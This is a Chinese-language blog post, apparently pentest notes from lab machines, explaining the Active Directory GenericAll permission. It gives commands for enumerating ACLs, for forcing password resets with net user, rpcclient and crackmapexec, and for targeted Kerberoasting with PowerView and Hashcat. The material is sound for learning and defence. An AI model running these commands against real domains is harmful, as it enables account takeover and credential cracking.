generic all 权限与利用
本文最后更新于280 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com

GenericAll 是什么?

GenericAll 权限是 Windows 安全模型中的一种访问控制权限,它赋予持有者对某个对象的完全控制权。这意味着持有 GenericAll 权限的用户可以对该对象执行所有可能的操作,包括读取、写入、删除和修改权限等。、

在 Windows 中,每个对象(如文件、文件夹、注册表项、AD 对象等)都具有一个访问控制列表(ACL),该列表定义了哪些用户或组可以对该对象执行哪些操作。GenericAll 权限是一个通用的权限集,表示对对象的完全控制权。

怎么找到 它?

在 windows 中 获取 Active Directory 对象的 权限

get-acl -path ‘AD:\CN=adad,CN=Managed Service Accounts,DC=wujiao,DC=com’ | Format-List

(get-acl -path ‘AD:\CN=adad,CN=Managed Service Accounts,DC=wujiao,DC=com’).access 查看用户权限

查看用户的权限

dsquery user 用于查询活动目录中的对象(用户)

dsget user “CN=adad,CN=Managed Service Accounts,DC=wujiao,DC=com” -memberof -expand 查看用户所在组

- "CN=jdgodd,CN=users,DC=streamio,DC=htb":
    
    - 这是用户对象的 LDAP(轻量目录访问协议)路径。它标识了特定的用户对象,包含以下部分:
        - **CN=jdgodd**: 用户的常见名称 (Common Name)。
        - **CN=users**: 用户容器的常见名称,表示该用户在 `users` 容器中。
        - **DC=streamio,DC=htb**: 域组件,表示域名为 `streamio.htb`。
- -memberof:
    
    - 这个参数指示命令返回指定用户的直接成员身份,即用户所属的组列表。
- -expand:
    
    - 这个参数指示命令返回用户的递归成员身份。也就是说,它不仅返回用户直接所属的组,还返回用户所在组的上级组,直到所有相关的组都列出。

get-adgroup ‘Schema Admins’ 查看组信息

(get-acl “ad:\CN=Schema Admins,CN=Users,DC=wujiao,DC=com”).access | Where-Object {$_.IdentityReference -like “WUJIAO\Domain Admins”} 查看组的权限

怎么使用它?

1.直接 使用 net user ad P@ssw0rd 改用户的密码

rpcclient 连接 rpc(修改密码)

rpcclient -U ‘jari%Cos@Chung@!RPG’ 10.10.10.240
setuserinfo2 gibdeon 23 ‘P@ssw0ry’ ,修改密码 
crackmapexec smb 10.10.10.240 -u ‘GIBDEON’ -p ‘P@ssw0rw’ 验证结果

什么是spn?

服务主体名称(SPN)概述:
定义:SPN 是一个唯一标识符,它标识了在网络上运行的服务的身份。在 Windows 环境中,通常用于 Kerberos 认证协议。

用途:SPN 允许客户端请求 Kerberos 票证,用于与服务进行安全通信。例如,HTTP 服务的 SPN 可能是 HTTP/server.example.com。

关联对象:SPN 通常与服务账户(如计算机账户或服务账户)关联。它不应该与普通用户账户关联,因为普通用户通常不提供服务

设置spn 获取tgt然后破解凭据

使用PowerView 的功能设置用户的 SPN 并检索他的 TGT

这个 PowerShell 脚本利用 PowerView 模块来设置一个用户的 Service Principal Name (SPN),并获取该 SPN 的 Kerberos 票证,以便通过 Hashcat 进行离线破解。

import-module .\PowerView.ps1
Set-DomainObject  -Identity  DR.ZAIUSS -SET @{serviceprincipalname='nonexistent/BLAHBLAH'}
Get-DomainUser -Identity DR.ZAIUSS -SPN | Get-DomainSPNTicket -OutputFormat Hashcat
文末附加内容
暂无评论

发送评论 编辑评论

|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇